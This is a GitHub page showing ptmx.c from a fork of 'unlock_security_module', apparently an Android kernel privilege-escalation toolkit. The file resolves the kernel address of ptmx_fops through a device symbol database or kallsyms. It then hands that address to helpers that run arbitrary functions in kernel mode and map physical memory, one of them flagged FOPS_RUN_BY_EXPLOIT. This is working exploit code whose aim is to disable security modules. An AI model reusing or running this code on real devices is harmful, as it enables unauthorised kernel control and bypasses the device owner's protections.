forked from fi01/unlock_security_module
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathptmx.c
58 lines (45 loc) · 1.43 KB
/
ptmx.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include "device_database/device_database.h"
#include "fops_handler.h"
#include "ptmx.h"
#define PTMX_DEVICE "/dev/ptmx"
static unsigned long int
get_ptmx_fops_address(void)
{
unsigned long int address;
address = device_get_symbol_address(DEVICE_SYMBOL(ptmx_fops));
if (address) {
return address;
}
if (kallsyms_exist()) {
address = kallsyms_get_symbol_address("ptmx_fops");
if (address) {
#ifdef HAS_SET_SYMBOL_ADDRESS
device_set_symbol_address(DEVICE_SYMBOL(ptmx_fops), address);
#endif /* HAS_SET_SYMBOL_ADDRESS */
return address;
}
}
return 0;
}
bool ptmx_run_in_kernel_mode(bool (*function)(void *), void *user_data)
{
unsigned long int ptmx_fops_address;
ptmx_fops_address = get_ptmx_fops_address();
if (!ptmx_fops_address) {
return false;
}
return fops_run_in_kernel_mode((void *)ptmx_fops_address, PTMX_DEVICE, FOPS_RUN_BY_KERNEL_MEMORY, function, user_data);
}
bool ptmx_map_memory(unsigned long int map_address, unsigned long int physical_address, unsigned long int size)
{
unsigned long int ptmx_fops_address;
ptmx_fops_address = get_ptmx_fops_address();
if (!ptmx_fops_address) {
return false;
}
return fops_map_physical_memory((void *)ptmx_fops_address, PTMX_DEVICE, FOPS_RUN_BY_EXPLOIT, map_address, physical_address, size);
}
bool ptmx_unmap_memory(unsigned long int map_address, unsigned long int size)
{
return fops_unmap_physical_memory(map_address, size);
}